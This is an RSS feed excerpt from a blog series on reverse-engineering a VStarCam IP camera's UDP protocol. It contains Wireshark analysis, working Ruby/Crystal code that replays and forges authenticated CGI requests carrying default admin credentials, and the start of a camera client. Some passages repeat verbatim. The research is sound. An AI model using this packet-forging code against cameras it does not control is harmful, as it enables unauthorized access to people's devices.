<p>Another interesting thing we can notice is that the CHECK_USERS_HEADER has a byte, very close to 0x5c, in fact, only 0x4 off. If we go through the other packets (except for the conglomerate one), we see this is the case every time.</p>
<p>Taking a look at the conglomerate packet confirms our suspicion that the 8 bytes right before the GET request is tied to the request itself. We can also see that the top 8 byte header contains 0x1b9 which is 0x4 off the total length 0x1bd. We can also see the request headers match up with the total bytes in each separate request. We also can see the top header&#39;s byte length is a 2 byte big endian integer, so we will need to plan for that.</p>
<p>Each of those packets were taken sequentially, in order, from the capture. We can see the last most byte in each of the headers denotes what packet order it&#39;s on. We will need to keep track of the number of requests we send.</p>
<p>Ultimately, this all means that we can forge requests, all we need is the GET request length, and the number of GET requests the client has sent.</p>
<pre class="code-block"><code>USER = &quot;admin&quot;
PASS = &quot;password&quot;
LOGIN_PARAMS = &quot;&amp;loginuse=#{USER}&amp;loginpas=#{PASS}&amp;user=#{USER}&amp;pwd=#{PASS}&quot;
@requests_sent = 0

def make_udp_header(get_request)
  &quot;\xf1\xd0#{String.new(Bytes[get_request.size + 0xc]).rjust(2, &quot;\x00&quot;[0])}\xd1\x00#{String.new(Bytes[@requests_sent]).rjust(2, &quot;\x00&quot;[0])}&quot;
end

def make_get_request_header(get_request)
  &quot;\x01\x0a\x00#{String.new(Bytes[get_request.size]).rjust(2, &quot;\x00&quot;[0])}\x00\x00\x00&quot;
end

def send_udp_get_request(cgi : String, **params)
  param_string = params.keys.map{|param_name|&quot;#{param_name}=#{params[param_name]}&quot;}.join(&#39;&amp;&#39;)
  get_request = &quot;GET /#{cgi}.cgi?#{param_string}#{LOGIN_PARAMS}&quot;
  header = make_udp_header(get_request)
  request_header = make_get_request_header(get_request)
  data_sock.send(header + request_header + get_request, target)
  @requests_sent += 1
  LOG.info &quot;SENT #{get_request}&quot;
end</code></pre>
<h2>Forging Requests</h2>
<p>Forging our own packets now seems pretty plausible, let&#39;s give it a try.</p>
<pre class="code-block"><code>require &quot;./client&quot;

client = Client.new
client.run
# Wait until main phase
until client.state == :main_phase
  sleep 0.1
end

client.send_udp_get_request(&quot;check_user&quot;, name: &quot;123456789&quot;)
sleep 3
client.send_udp_get_request(&quot;check_user&quot;, name: &quot;123456789&quot;)
sleep 3
client.send_udp_get_request(&quot;check_user&quot;, name: &quot;123456789&quot;)
sleep 3
client.send_udp_get_request(&quot;check_user&quot;, name: &quot;123456789&quot;)
sleep 3
sleep 5
client.close</code></pre>
<p>This code will not only test if we can forge the first packet, but also the subsequent ones. Checking the Wireshark with a special filter shows the success * <code>frame contains GET || frame contains F1:D1:00  || frame contains F1:D0:00</code></p>
<center>
<img src="/images/vstarcam/wireshark/7.png" style="width: 100%; height: 100%;">
</center>
]]></description>
      <content:encoded><![CDATA[<p>We are really hauling through this, now it&#39;s time to see if we can replay a GET request via UDP. For this, we will want to go through our captures and grab a couple GET request data packets, including the 16 byte header in the front of the data.</p>
<p>The best way to do this in Wireshark is to find the packets using the filter</p>
<p>* frame contains GET</p>
<p>Then go to the details pane (it&#39;s the one above the hex dump and below the packet stream), right click on the Data heading, click Copy, then click As Escaped String. For this I will choose the first UDP GET request in the search.</p>
<center>
<img src="/images/vstarcam/wireshark/wireshark3.png" style="width: 100%; height: 100%;">
</center>
<p>Once we have the string copied, we can write our simple code to replay the packet.</p>
<pre class="code-block"><code>CHECK_USERS_REPLAY = &quot;\xf1\xd0\x00\x68\xd1\x00\x00\x00\x01\x0a\x00\x00\x5c\x00\x00\x00&quot; \
&quot;\x47\x45\x54\x20\x2f\x63\x68\x65\x63\x6b\x5f\x75\x73\x65\x72\x2e&quot; \
&quot;\x63\x67\x69\x3f\x6e\x61\x6d\x65\x3d\x31\x32\x33\x34\x35\x36\x37&quot; \
&quot;\x38\x39\x26\x6c\x6f\x67\x69\x6e\x75\x73\x65\x3d\x61\x64\x6d\x69&quot; \
&quot;\x6e\x26\x6c\x6f\x67\x69\x6e\x70\x61\x73\x3d\x70\x61\x73\x73\x77&quot; \
&quot;\x6f\x72\x64\x26\x75\x73\x65\x72\x3d\x61\x64\x6d\x69\x6e\x26\x70&quot; \
&quot;\x77\x64\x3d\x70\x61\x73\x73\x77\x6f\x72\x64\x26&quot;
def send_replay
  data_sock.send(CHECK_USERS_REPLAY, target)
  LOG.info &quot;Sent replay packet&quot;
end</code></pre>
<pre class="code-block"><code>require &quot;./client&quot;
client = Client.new
client.run

until client.state == :main_phase
  sleep 0.1
end

client.send_replay
sleep 5
client.close</code></pre>
<p>After our GET request was sent, we should have gotten two new packets to inspect, some sort of acknowledgment and the results of the command.</p>
<center>
<img src="/images/vstarcam/wireshark/5.png" style="width: 100%; height: 100%;">
</center>
<pre class="code-block"><code>GET_STATUS_REPLAY = &quot;\xf1\xd0\x00\x54\xd1\x00\x00\x02\x01\x0a\x00\x00\x48\x00\x00\x00&quot; \
&quot;\x47\x45\x54\x20\x2f\x67\x65\x74\x5f\x73\x74\x61\x74\x75\x73\x2e&quot; \
&quot;\x63\x67\x69\x3f\x6c\x6f\x67\x69\x6e\x75\x73\x65\x3d\x61\x64\x6d&quot; \
&quot;\x69\x6e\x26\x6c\x6f\x67\x69\x6e\x70\x61\x73\x3d\x38\x38\x38\x38&quot; \
&quot;\x38\x38\x26\x75\x73\x65\x72\x3d\x61\x64\x6d\x69\x6e\x26\x70\x77&quot; \
&quot;\x64\x3d\x38\x38\x38\x38\x38\x38&quot;

def send_replay
  data_sock.send(GET_STATUS_REPLAY, target)
  LOG.info &quot;Sent replay packet&quot;
end</code></pre>
<p>This time when we send the replay let&#39;s see what happens.</p>
<center>
<img src="/images/vstarcam/wireshark/6.png" style="width: 100%; height: 100%;">
</center>
<p>This time we get something a little different. We got the &quot;acknowledgement&quot; packet but we didn&#39;t get any results. Upon closer inspect we can see the two acknowledgement packets are just slightly different, the last byte on our success being 0x00 and the last byte on our failure was 0x02. We now know that the order of the packets is important. This could signify that the mysterious header has some values in it that track order of packets.</p>
<p>Let&#39;s learn more.</p>
<p>The next thing we are going to want to try is to modify a request, and see if we can get it to teach us something new about the protocol.</p>
<pre class="code-block"><code>CHECK_USERS_HEADER = &quot;\xf1\xd0\x00\x68\xd1\x00\x00\x00\x01\x0a\x00\x00\x5c\x00\x00\x00&quot;
CHECK_USERS_REQUEST = &quot;GET /check_user.cgi?name=123456789&amp;loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&amp;&quot;
CHECK_USERS_MODIFIED_REQUEST1 = &quot;GET /check_user.cgi?name=44444&amp;loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&amp;&quot;
CHECK_USERS_MODIFIED_REQUEST2 = &quot;GET /check_user.cgi?name=1234567890&amp;loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&amp;&quot;
CHECK_USERS_MODIFIED_REQUEST3 = &quot;GET /check_user.cgi?name=987654321&amp;loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&amp;&quot;
CHECK_USERS_REPLAY =  CHECK_USERS_HEADER + CHECK_USERS_REQUEST
CHECK_USERS_MODIFIED_REPLAY1 = CHECK_USERS_HEADER + CHECK_USERS_MODIFIED_REQUEST1
CHECK_USERS_MODIFIED_REPLAY2 = CHECK_USERS_HEADER + CHECK_USERS_MODIFIED_REQUEST2
CHECK_USERS_MODIFIED_REPLAY3 = CHECK_USERS_HEADER + CHECK_USERS_MODIFIED_REQUEST3</code></pre>
<p>In the constant CHECK_USERS_MODIFIED_REQUEST1 I changed the name parameter to make it shorter, and in CHECK_USERS_MODIFIED_REQUEST2 I made the name a bit longer, and in CHECK_USERS_MODIFIED_REQUEST3 I reversed the name, but kept the amount of chars the same.</p>
<p>Sending 1 or 2 does nothing and the server doesn&#39;t even reply back. Sending request 3 however, works just fine, and produces the correct output.</p>
<p>What we just learned from this is that the header has values specifically related to size not content.</p>
<p>If we try to replay the same packet twice in a session, we see another weird behavior.</p>
<pre class="code-block"><code>I, [2019-03-05 08:37:30 -08:00 #18513]  INFO -- : Sent replay packet
I, [2019-03-05 08:37:30 -08:00 #18513]  INFO -- : Sent Pong
I, [2019-03-05 08:37:30 -08:00 #18513]  INFO -- : UNKNOWN PACKET RECEIVED from 192.168.11.140:10560 : f1\xd1\x00\x06\xd1\x00\x00\x01\x00\x00
I, [2019-03-05 08:37:30 -08:00 #18513]  INFO -- : UNKNOWN PACKET RECEIVED from 192.168.11.140:10560 : f1\xd0\x00\x48\xd1\x00\x00\x00\x01\x0a\xa0\x60\x3c\x00\x00\x01\x72\x65\x73\x75\x6c\x74\x3d\x20\x30\x3b\x0d\x0a\x76\x61\x72\x20\x63\x75\x72\x72\x65\x6e\x74\x5f\x75\x73\x65\x72\x73\x3d\x31\x3b\x0d\x0a\x76\x61\x72\x20\x6d\x61\x78\x5f\x73\x75\x70\x70\x6f\x72\x74\x5f\x75\x73\x65\x72\x73\x3d\x34\x3b\x0d\x0a
I, [2019-03-05 08:37:30 -08:00 #18513]  INFO -- : Sent Pong
I, [2019-03-05 08:37:31 -08:00 #18513]  INFO -- : Sent Pong
I, [2019-03-05 08:37:32 -08:00 #18513]  INFO -- : Sent Pong
I, [2019-03-05 08:37:32 -08:00 #18513]  INFO -- : Sent Pong
I, [2019-03-05 08:37:34 -08:00 #18513]  INFO -- : Sent Pong
I, [2019-03-05 08:37:34 -08:00 #18513]  INFO -- : Sent replay packet
I, [2019-03-05 08:37:34 -08:00 #18513]  INFO -- : UNKNOWN PACKET RECEIVED from 192.168.11.140:10560 : f1\xd1\x00\x06\xd1\x00\x00\x01\x00\x00
I, [2019-03-05 08:37:34 -08:00 #18513]  INFO -- : Sent Pong
I, [2019-03-05 08:37:34 -08:00 #18513]  INFO -- : Sent Pong</code></pre>
<p>The first replay works fine, but the second one doesn&#39;t produce results, but does produce the failure acknowledgement. Maybe the acknowledgment packet signifies that the is formatted correctly, but won&#39;t give the results if the values aren&#39;t 100% correct. My guess would be that the bytes that control size are fine, but the bytes that control order are not.</p>
<p>Let&#39;s move on to deciphering these two mysteries.</p>
<h2>Figuring out the header</h2>
<p>The first big mystery we want to solve is the header, how it&#39;s made, and what we can do with it. To do this,we will open up Android Studio with the Eye4 app and do a full capture, from logging into the device, to changing all the settings in the client.</p>
<p>Here are some examples, I pulled them all in order from when the were received. I also do a little number analysis on it and print out the result.</p>
<pre class="code-block"><code>CHECK_USERS_HEADER = &quot;\xf1\xd0\x00\x68\xd1\x00\x00\x00&quot;
CHECK_USERS_REQUEST_HEADER = &quot;\x01\x0a\x00\x00\x5c\x00\x00\x00&quot;
CHECK_USERS_REQUEST = &quot;GET /check_user.cgi?name=123456789&amp;loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&amp;&quot;
CHECK_USERS_REPLAY =  CHECK_USERS_HEADER + CHECK_USERS_REQUEST_HEADER + CHECK_USERS_REQUEST

CONGLOMERATE_HEADER = &quot;\xf1\xd0\x01\xb9\xd1\x00\x00\x01&quot;
CONGLOMERATE_REQUEST1_HEADER = &quot;\x01\x0a\x00\x00\x51\x00\x00\x00&quot;
CONGLOMERATE_REQUEST1 = &quot;GET /snapshot.cgi?res=1&amp;loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&amp;&quot;
CONGLOMERATE_REQUEST2_HEADER = &quot;\x01\x0a\x00\x00\x4c\x00\x00\x00&quot;
CONGLOMERATE_REQUEST2 = &quot;GET /get_status.cgi?loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&quot;
CONGLOMERATE_REQUEST3_HEADER = &quot;\x01\x0a\x00\x00\x53\x00\x00\x00&quot;
CONGLOMERATE_REQUEST3 = &quot;GET /get_factory_param.cgi?loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&quot;
CONGLOMERATE_REQUEST4_HEADER = &quot;\x01\x0a\x00\x00\x4c\x00\x00\x00&quot;
CONGLOMERATE_REQUEST4 = &quot;GET /get_params.cgi?loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&quot;
CONGLOMERATE_REQUEST5_HEADER = &quot;\x01\x0a\x00\x00\x51\x00\x00\x00&quot;
CONGLOMERATE_REQUEST5 = &quot;GET /snapshot.cgi?&amp;res=1&amp;loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&quot;
CONGLOMERATE_REPLAY = CONGLOMERATE_HEADER + CONGLOMERATE_REQUEST1_HEADER + CONGLOMERATE_REQUEST1 + CONGLOMERATE_REQUEST2_HEADER + CONGLOMERATE_REQUEST2 +
                      CONGLOMERATE_REQUEST3_HEADER + CONGLOMERATE_REQUEST3 + CONGLOMERATE_REQUEST4_HEADER + CONGLOMERATE_REQUEST4 + CONGLOMERATE_REQUEST5_HEADER + CONGLOMERATE_REQUEST5

SET_FACTORY_HEADER = &quot;\xf1\xd0\x00\x7e\xd1\x00\x00\x02&quot;
SET_FACTORY_REQUEST_HEADER = &quot;\x01\x0a\x00\x00\x72\x00\x00\x00&quot;
SET_FACTORY_REQUEST = &quot;GET /set_factory_param.cgi?alarm_server=push.eye4.cn/VSTC&amp;loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&quot;
SET_FACTORY_REPLAY = SET_FACTORY_HEADER + SET_FACTORY_REQUEST_HEADER + SET_FACTORY_REQUEST

SET_DATETIME_HEADER = &quot;\xf1\xd0\x00\x99\xd1\x00\x00\x03&quot;
SET_DATETIME_REQUEST_HEADER = &quot;\x01\x0a\x00\x00\x8d\x00\x00\x00&quot;
SET_DATETIME_REQUEST = &quot;GET /set_datetime.cgi?tz=28800&amp;ntp_enable=1&amp;ntp_svr=time.windows.com&amp;now=1551842107&amp;loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&amp;&quot;
SET_DATETIME_REPLAY = SET_DATETIME_HEADER + SET_DATETIME_REQUEST_HEADER + SET_DATETIME_REQUEST

puts &quot;CHECK_USERS_REPLAY BREAKDOWN&quot;
puts &quot;    REQUEST LENGTH = D:#{CHECK_USERS_REQUEST.size} | H:0x#{CHECK_USERS_REQUEST.size.to_s(16)}&quot;
puts &quot;    PACKET LENGTH = D:#{CHECK_USERS_REPLAY.size} | H:0x#{CHECK_USERS_REPLAY.size.to_s(16)}&quot;
puts
puts &quot;CONGLOMERATE_REPLAY BREAKDOWN&quot;
puts &quot;    REQUEST1 LENGTH = D:#{CONGLOMERATE_REQUEST1.size} | H:0x#{CONGLOMERATE_REQUEST1.size.to_s(16)}&quot;
puts &quot;    REQUEST2 LENGTH = D:#{CONGLOMERATE_REQUEST2.size} | H:0x#{CONGLOMERATE_REQUEST2.size.to_s(16)}&quot;
puts &quot;    REQUEST3 LENGTH = D:#{CONGLOMERATE_REQUEST3.size} | H:0x#{CONGLOMERATE_REQUEST3.size.to_s(16)}&quot;
puts &quot;    REQUEST4 LENGTH = D:#{CONGLOMERATE_REQUEST4.size} | H:0x#{CONGLOMERATE_REQUEST4.size.to_s(16)}&quot;
puts &quot;    REQUEST5 LENGTH = D:#{CONGLOMERATE_REQUEST5.size} | H:0x#{CONGLOMERATE_REQUEST5.size.to_s(16)}&quot;
puts &quot;    PACKET LENGTH = D:#{CONGLOMERATE_REPLAY.size} | H:0x#{CONGLOMERATE_REPLAY.size.to_s(16)}&quot;
puts
puts &quot;SET_FACTORY_REPLAY BREAKDOWN&quot;
puts &quot;    REQUEST LENGTH = D:#{SET_FACTORY_REQUEST.size} | H:0x#{SET_FACTORY_REQUEST.size.to_s(16)}&quot;
puts &quot;    PACKET LENGTH = D:#{SET_FACTORY_REPLAY.size} | H:0x#{SET_FACTORY_REPLAY.size.to_s(16)}&quot;
puts
puts &quot;SET_DATETIME_REPLAY BREAKDOWN &quot;
puts &quot;    REQUEST LENGTH = D:#{SET_DATETIME_REQUEST.size} | H:0x#{SET_DATETIME_REQUEST.size.to_s(16)}&quot;
puts &quot;    PACKET LENGTH = D:#{SET_DATETIME_REPLAY.size} | H:0x#{SET_DATETIME_REPLAY.size.to_s(16)}&quot;</code></pre>
<pre class="code-block"><code>CHECK_USERS_REPLAY BREAKDOWN
    REQUEST LENGTH = D:92 | H:0x5c
    PACKET LENGTH = D:108 | H:0x6c

CONGLOMERATE_REPLAY BREAKDOWN
    REQUEST1 LENGTH = D:81 | H:0x51
    REQUEST2 LENGTH = D:76 | H:0x4c
    REQUEST3 LENGTH = D:83 | H:0x53
    REQUEST4 LENGTH = D:76 | H:0x4c
    REQUEST5 LENGTH = D:81 | H:0x51
    PACKET LENGTH = D:445 | H:0x1bd

SET_FACTORY_REPLAY BREAKDOWN
    REQUEST LENGTH = D:114 | H:0x72
    PACKET LENGTH = D:130 | H:0x82

SET_DATETIME_REPLAY BREAKDOWN
    REQUEST LENGTH = D:141 | H:0x8d
    PACKET LENGTH = D:157 | H:0x9d
[Done] exited with code=0 in 0.663 seconds</code></pre>
<p>When writing this test, I noticed that the 8 byte segments were very similar to the other 8 byte segments, so I wanted to break them up, because I was sure it was significant.</p>
<p>We want to take a look at the hex numbers and start comparing them to numbers in the header. We see, for example, that CHECK_USER_REQUEST length is 0x5c, which we can also see in the CHECK_USER_REQUEST_HEADER in byte[4].  We can see this in every request header.</p>
<p>Another interesting thing we can notice is that the CHECK_USERS_HEADER has a byte, very close to 0x5c, in fact, only 0x4 off. If we go through the other packets (except for the conglomerate one), we see this is the case every time.</p>
<p>Taking a look at the conglomerate packet confirms our suspicion that the 8 bytes right before the GET request is tied to the request itself. We can also see that the top 8 byte header contains 0x1b9 which is 0x4 off the total length 0x1bd. We can also see the request headers match up with the total bytes in each separate request. We also can see the top header&#39;s byte length is a 2 byte big endian integer, so we will need to plan for that.</p>
<p>Each of those packets were taken sequentially, in order, from the capture. We can see the last most byte in each of the headers denotes what packet order it&#39;s on. We will need to keep track of the number of requests we send.</p>
<p>Ultimately, this all means that we can forge requests, all we need is the GET request length, and the number of GET requests the client has sent.</p>
<pre class="code-block"><code>USER = &quot;admin&quot;
PASS = &quot;password&quot;
LOGIN_PARAMS = &quot;&amp;loginuse=#{USER}&amp;loginpas=#{PASS}&amp;user=#{USER}&amp;pwd=#{PASS}&quot;
@requests_sent = 0

def make_udp_header(get_request)
  &quot;\xf1\xd0#{String.new(Bytes[get_request.size + 0xc]).rjust(2, &quot;\x00&quot;[0])}\xd1\x00#{String.new(Bytes[@requests_sent]).rjust(2, &quot;\x00&quot;[0])}&quot;
end

def make_get_request_header(get_request)
  &quot;\x01\x0a\x00#{String.new(Bytes[get_request.size]).rjust(2, &quot;\x00&quot;[0])}\x00\x00\x00&quot;
end

def send_udp_get_request(cgi : String, **params)
  param_string = params.keys.map{|param_name|&quot;#{param_name}=#{params[param_name]}&quot;}.join(&#39;&amp;&#39;)
  get_request = &quot;GET /#{cgi}.cgi?#{param_string}#{LOGIN_PARAMS}&quot;
  header = make_udp_header(get_request)
  request_header = make_get_request_header(get_request)
  data_sock.send(header + request_header + get_request, target)
  @requests_sent += 1
  LOG.info &quot;SENT #{get_request}&quot;
end</code></pre>
<h2>Forging Requests</h2>
<p>Forging our own packets now seems pretty plausible, let&#39;s give it a try.</p>
<pre class="code-block"><code>require &quot;./client&quot;

client = Client.new
client.run
# Wait until main phase
until client.state == :main_phase
  sleep 0.1
end

client.send_udp_get_request(&quot;check_user&quot;, name: &quot;123456789&quot;)
sleep 3
client.send_udp_get_request(&quot;check_user&quot;, name: &quot;123456789&quot;)
sleep 3
client.send_udp_get_request(&quot;check_user&quot;, name: &quot;123456789&quot;)
sleep 3
client.send_udp_get_request(&quot;check_user&quot;, name: &quot;123456789&quot;)
sleep 3
sleep 5
client.close</code></pre>
<p>This code will not only test if we can forge the first packet, but also the subsequent ones. Checking the Wireshark with a special filter shows the success * <code>frame contains GET || frame contains F1:D1:00  || frame contains F1:D0:00</code></p>
<center>
<img src="/images/vstarcam/wireshark/7.png" style="width: 100%; height: 100%;">
</center>
<hr style="margin-top: 2rem; margin-bottom: 1rem; border: none; border-top: 1px solid #ccc;" />
<div class="rss-entry-metadata" style="font-size: 0.9em; line-height: 1.5; background: #faf6ee; color: #1c1c1e; padding: 0.85rem; border: 1px solid #1c1c1e; border-radius: 4px;">
  <p style="margin: 0.25rem 0;"><strong>Category Chain:</strong> <a href="https://sol.vin/vstarcam_journey/">VStarCam - Investigational Journey</a></p>
  <p style="margin: 0.25rem 0;"><strong>Date:</strong> 2019-09-03</p>
  <p style="margin: 0.25rem 0;"><strong>Author:</strong> Ian Rash</p>
  <p style="margin: 0.5rem 0 0.25rem 0;"><strong>Skills &amp; Technologies:</strong></p>
  <ul style="margin: 0.25rem 0 0 1.25rem; padding: 0;">
    <li><strong>Reverse Engineering</strong> (<em>Systems &amp; Security</em>) &bull; 8 years &mdash; Disassembling and decompiling embedded firmware, binary executables, and proprietary network protocols. [<a href="https://ghidra-sre.org">Ghidra</a>]</li>
    <li><strong>Static Analysis</strong> (<em>Systems &amp; Security</em>) &bull; 8 years &mdash; Auditing source code and binary assets to detect software flaws, security anti-patterns, and compliance issues. [<a href="https://cwe.mitre.org">Cwe</a>]</li>
    <li><strong>C</strong> (<em>Languages</em>) &bull; 12 years &mdash; Low-level system programming language for high-performance applications, memory management, and low-level system software. [<a href="https://en.wikipedia.org/wiki/C_(programming_language)">Website</a>]</li>
  </ul>
</div>
]]></content:encoded>
    </item>
    <item>
      <title>Writing a Client</title>
      <link>https://sol.vin/vstarcam_journey/4.html</link>
      <guid isPermaLink="true">https://sol.vin/vstarcam_journey/4.html</guid>
      <pubDate>Tue, 03 Sep 2019 00:00:00 GMT</pubDate>
      <dc:date>2019-09-03</dc:date>
      <dc:creator>Ian Rash</dc:creator>
      <author>Ian Rash</author>
      <category domain="chain">VStarCam - Investigational Journey</category>
      <category domain="skill">Crystal</category>
      <category domain="skill-slug">crystal</category>
      <category domain="skill-category">Languages</category>
      <dc:subject>Crystal</dc:subject>
      <category domain="skill">Security Research</category>
      <category domain="skill-slug">security_research</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Security Research</dc:subject>
      <category domain="skill">Reverse Engineering</category>
      <category domain="skill-slug">reverse_engineering</category>
      <category domain="skill-category">Systems &amp; Security</category>
      <dc:subject>Reverse Engineering</dc:subject>
      <media:content url="https://sol.vin/images/vstarcam/wireshark/1.png" medium="image" />
      <media:content url="https://sol.vin/images/vstarcam/wireshark/2.png" medium="image" />
      <media:thumbnail url="https://sol.vin/images/vstarcam/wireshark/1.png" />
      <description><![CDATA[<p>Now that we have learned some interesting things about the communications, let&#39;s see if we can write our own suite of tools to work with the camera.</p>
<p>Before we start, I&#39;ll be using the wonderful programming language from the boys over at Crystal. It&#39;s a very fast, statically typed language, with very zen and down to Earth syntax. The meta-programming aspect of the language is very cool!</p>
<p>First thing we should do is talk about design.</p>
<p>From what we can see right now the camera and client go through different states, things like sending the DBP, waiting for the BPA, that sort of thing. As such, we will want to make a simple state machine. Here is the basic outline of the functionality we need.</p>
<pre class="code-block"><code>class Client
  STATES = [:nothing,
            :send_dbp,
            :wait_for_dbr,
            :send_bcp,
            :handle_bp_handshake,
            :main_phase,
            :closing,
            :closed]
  getter state : Symbol = :nothing

  # Change the state of the client.
  def change_state(state)
    @state = state
    LOG.info &quot;Changing to #{@state}&quot;
    tick # rerun the tick since the state immediately changed and there is new stuff to do.
  end
end</code></pre>
<p>The idea is that whenever we change the state of our client, we are moving to the next phase of communication.</p>
<p>Next big thing we need to talk about are Fibers. If you are unfamiliar with them, I would suggest reading <a href="https://crystal-lang.org/reference/guides/concurrency.html">this article</a>.</p>
<p>We have two main tasks, we need to have a <strong>Data Loop</strong>, which will take data in from ports (depending on the state of the client, choose which port to use), and then take that data and shovel it off into a <a href="https://crystal-lang.org/api/0.27.2/Channel.html">channel</a>. Then we will have the <strong>Tick Loop</strong>, which will run the decisions to be made on the incoming data.</p>
<h2>Starting the client</h2>
<p>One of the first things we want to be able to do is start the client, and have it &quot;idle&quot; while waiting for connections.</p>
<pre class="code-block"><code># Sets up the client by binding the udp sockets to addresses and ports
  def setup
    # Don&#39;t resetup the client if its is_running
    if !is_running?
      LOG.info(&quot;Opening ports&quot;)
      # Our socket for sending UDP data to the camera
      @data_sock.bind DATA_SOCK_SRC
      # Super important to enable this or else we can&#39;t broadcast to 255.255.255.255!
      @data_sock.setsockopt LibC::SO_BROADCAST, 1
      # Our socket for sending discovery broadcasts.
      @db_sock.bind DB_SOCK_SRC
      @db_sock.setsockopt LibC::SO_BROADCAST, 1

      LOG.info(&quot;Ports opened&quot;)
      return
    else
      LOG.error &quot;CANNOT SETUP CLIENT WHILE IT IS RUNNING!&quot;
      raise &quot;CANNOT SETUP CLIENT WHILE IT IS RUNNING!&quot;
    end
  end

  def run
    # Dont allow the client to run again!
    if !is_running?
      @is_running = true
      # Change the state so it will attempt to discover a camera on the network
      @state = :send_dbp
      #Start our fibers
      start_data_fiber
      start_tick_fiber
    else
      LOG.error &quot;ALREADY RUNNING CLIENT!&quot;
    end
  end</code></pre>
<p>The main idea is that we set up the client, making a variable that will track if it&#39;s running or not. It also sets up the ports we need to communicate our discovery broadcast, as well as the UDP data socket. We also have a method run which will stop the method if it is already running, change the state to the first phase, then start our fibers for data and tick.</p>
<h2>Fiber Design</h2>
<pre class="code-block"><code># Channel that will communicate data back to the tick fiber
  @data_channel = Channel(Tuple(String, Socket::IPAddress)).new

  # Fiber which deals with incoming packet data, holds this data temporarily and then sends the data via @data_channel to the tick fiber.
  @data_fiber : Fiber = spawn {}

  # Fiber which handles the decision process of handling the state of the client. Recieves incoming data  from data_channel and processes it
  @tick_fiber : Fiber = spawn {}</code></pre>
<p>Then we want to write our two &quot;start fiber&quot; methods. We reassign the fiber variable for the action, trap any exceptions and rescue them out (specifically for the case of the ports shutting down while sending data), create a while loop with is_running? as a condition, and then fill in the meat of the fibers.</p>
<p>Data fiber will block on the data socket, then transfer any data received to the  channel.</p>
<p>Tick fiber will run the update tick continually until the client is no longer running.</p>
<pre class="code-block"><code># Start the fiber which blocks for incoming data, then forwards it to a channel.
def start_data_fiber
  @data_fiber = spawn do
    begin
      # Only run this fiber while is_running, if not exit
      while is_running?
        # Will block execution
        packet = data_sock.receive
        @data_channel.send(packet)
      end
    rescue e
      LOG.info &quot;DATA EXCEPTION #{e}&quot;
    end
  end
end

# Start the fiber which contains the tick logic.
def start_tick_fiber
  @tick_fiber = spawn do
    begin
      # Only run this fiber while is_running, if not exit
      while is_running?
        tick
      end
    rescue e
      LOG.info &quot;TICK EXCEPTION #{e}&quot;
    end
  end
end</code></pre>
<h2>Closing the client</h2>
<p>When the data fiber is blocked, there is no way to &quot;kill&quot; the fiber when we want the program to exit. Instead, we need to simulate some data into the socket, freeing the fiber to execute and close itself.</p>
<p>First we turn @is_running to false, then send the &quot;unblock fiber data&quot; into the data socket. We then use a Fiber.yield to give control back to the data fiber. While we can&#39;t give control back directly to the data fiber, we know that the tick fiber will most likely be blocked and the data fiber will get it&#39;s turn.</p>
<p>We then close the sockets, change_state to closing, and set the target camera back to 0.</p>
<pre class="code-block"><code>UNBLOCK_FIBER_DATA = &quot;e127e855-36d2-43f1-82c0-95f2ba5fe800&quot;
def close
  LOG.info(&quot;Closing client&quot;)
  @is_running = false
  change_state(:closing)

  # This line unblocks the @data_fiber
  @data_sock.send(UNBLOCK_FIBER_DATA, Socket::IPAddress.new(&quot;127.0.0.1&quot;, DATA_SOCK_SRC.port))

  # Force a fiber change to go to the other fibers to end them
  Fiber.yield

  # Now we can close the sockets
  @data_sock.close
  @db_sock.close

  # Reset the target_camera
  new_target &quot;0.0.0.0&quot;, 0
  change_state(:closed)
  LOG.info(&quot;Closed client&quot;)
end</code></pre>
<h2>Tick Layout</h2>
<p>In the tick method, we want to layout a basic pattern of transitions for the client.</p>
<pre class="code-block"><code># Main decision making function
def tick
  if state == :nothing
    # Do nothing
  elsif state == :send_dbp
    send_dbp
    change_state :wait_for_dbr
  elsif state == :wait_for_dbr
    info = wait_for_dbr
    if info
      @target_info = info
      change_state :send_bcp
    else
      change_state :send_dbp
    end
  elsif state == :send_bcp
    send_bcp
    change_state :handle_bp_handshake
  elsif state == :handle_bp_handshake
    handle_bp_handshake

    if has_target?
      change_state :main_phase
    else
      change_state :send_dbp
    end
  elsif state == :main_phase
    # Do ping pong, etc in here
    main_phase
  else
    raise &quot;THERE WAS A BAD IN TICK!&quot;
  end
end</code></pre>
<h2>DBP and DBR</h2>
<p>We need to send our DBP, so we can start to discover cameras. This process is fairly straight forward.</p>
<pre class="code-block"><code># Source address for the discovery packet
DB_SOCK_SRC = Socket::IPAddress.new(&quot;0.0.0.0&quot;, 6801)

# Destination address for the discovery packet
DB_SOCK_DST = Socket::IPAddress.new(&quot;255.255.255.255&quot;, 8600)

# Discovery packet data
DBP = &quot;\x44\x48\x01\x01&quot;

# Send the DBP to the camera
def send_dbp
  LOG.info(&quot;Sending DBP&quot;)
  db_sock.send(DBP, DBP_SOCK_DST)
  LOG.info(&quot;Sent DBP&quot;)
end</code></pre>
<p>After sending we want to wait until the camera responds with the DBR. We also want to parse some of the data coming in, as it has some juicy info we might want to reference later.</p>
<pre class="code-block"><code># Size of the discovery packet reply
DBR_SIZE = 570

# Regex to check if a packet is a DBR
DBR_REGEX = /^DH/

# Wait for the DBR to come back from the camera.
def wait_for_dbr : Hash(Symbol, String)?
  LOG.info(&quot;Waiting for DBR&quot;)
  packet = db_sock.receive
  if packet
    if check_dbr(packet)
      info = parse_dbr(packet)
      LOG.info(&quot;DBR RECEIVED FROM #{info[:camera_ip]}, UID: #{info[:uid]}&quot;)
      return info
    else
      LOG.info(&quot;BAD/NON DBR RECEIVED! #{packet[0].bytes.map {|d| d.to_s(16).rjust(2, &#39;0&#39;)}.join(&quot;\\x&quot;)}&quot;)
    end
  else
    LOG.info(&quot;NO DBR RECEIVED!&quot;)
  end
  return nil
